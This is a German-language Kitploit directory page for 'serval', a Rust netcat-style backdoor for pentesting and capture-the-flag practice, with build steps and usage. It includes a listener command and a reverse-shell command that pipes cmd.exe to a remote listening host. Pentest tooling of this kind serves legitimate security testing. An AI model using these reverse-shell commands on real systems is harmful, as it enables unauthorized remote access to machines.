Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
serval — Ein Backdoor im Netcat-Stil für Pentesting und Pentest-Übungen. | Kitploit
Tools/GitHubGitHub/tgadola/serval
Payload-GenerierungPenetrationstestsRed TeamingRemote-Access-Tool
GitHubtgadola/serval

serval

Ein Backdoor im Netcat-Stil für Pentesting und Pentest-Übungen.

Repository anzeigen
506vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ein Netcat-ähnlicher Backdoor für Penetrationstests und Pentest-Challenges

Serval ist ein leichtgewichtiges, einfach zu verwendendes Binary zum Erstellen von Reverse- und Bind-Shells für Penetrationstests oder Pentest-Übungen. Serval ist plattformübergreifend und kann sowohl für Windows 32 & 64-Bit als auch für Linux 32 und 64-Bit kompiliert werden. Hinweis: Aufgrund der Flexibilität von Rust ist es möglicherweise möglich, für andere Plattformen (wie ARM) zu kompilieren, aber ich habe es für andere Plattformen nicht getestet.

Warum?

Ich habe Serval entwickelt, um meine Abhängigkeit von Netcat bei HacktheBox-Challenges zu beseitigen, da es mühsam sein kann, Netcat-Binaries für Windows zu finden (insbesondere mit der -e-Option) und es noch schwieriger ist, ein Binary aus einer vertrauenswürdigen Quelle zu finden.

Funktionen

  • Kreuzkompilierbar! Kann für Linux oder Windows gebaut werden.
  • Befehlszeilenverlauf. Pfeiltasten nach oben und unten scrollen durch den Befehlsverlauf.
  • Befehlszeilenverlauf-Suche! Strg-R für die Rückwärtssuche im Befehlsverlauf.
  • Zeilenbearbeitung. Rücktaste und Pfeiltasten links/rechts funktionieren!
  • Interoperabilität. Hast du nur Netcat auf deinem Ziel? Kein Problem! Der Serval-Listener kann die Shell trotzdem abfangen und dir die erweiterten Funktionen bieten.

Installation

Rust-Benutzer (Aus Quellcode kompilieren)

Lade den Quellcode von GitHub herunter.

git clone https://github.com/tgadola/serval.git && cd serval-master

*Optional: Bearbeite die Build-Datei unter .cargo/config, um deinen Build-Pfad anzupassen.

Erstelle das Binary für deine aktuelle Plattform.

cargo build --release

*Hinweis: v1.1.0 erfordert Rust Nightly.

Du kannst für andere Plattformen erstellen mit:

cargo build --release --target <target-triple>

Andere

Falls du ein besonders vertrauensseliger Mensch bist, kannst du die vorgefertigten Binaries hier herunterladen.

Verwendung

Standardmäßig lauscht Serval auf einem Port oder verbindet sich mit einem Port und leitet die Standardeingabe und -ausgabe zu dieser Verbindung um. Das Flag -e startet einen Prozess und leitet dessen Standardeingabe und -ausgabe über das Netzwerk.

Einen Listener starten

Serval lauscht auf allen Schnittstellen.

Verwende das Flag -H, um die Zeilenbearbeitungs- und Befehlsverlaufsfunktionen zu aktivieren!

serval -l 4400 -H

Eine Reverse-Shell starten

serval.exe <listening ip> <listening port> -q -e cmd.exe

????

Profit

Besonderer Dank

Ein großes Dankeschön an @kkawakam-transferwise und ihre Rustyline-Crate, die buchstäblich die ganze schwere Arbeit erledigt. Schau dir Rustyline an!

Danke an die Ersteller und Mitwirkenden von Clap! Schau dir Clap an.

Danke an die Ersteller und Mitwirkenden von Anyhow! Schau dir Anyhow an. +1 für den großartigen Crate-Namen.

Danke an @jaynus für all seine Rust-Ratschläge.

Lizenz

Apache 2.0. Weitere Informationen findest du in der Lizenzdatei.

Tool herunterladen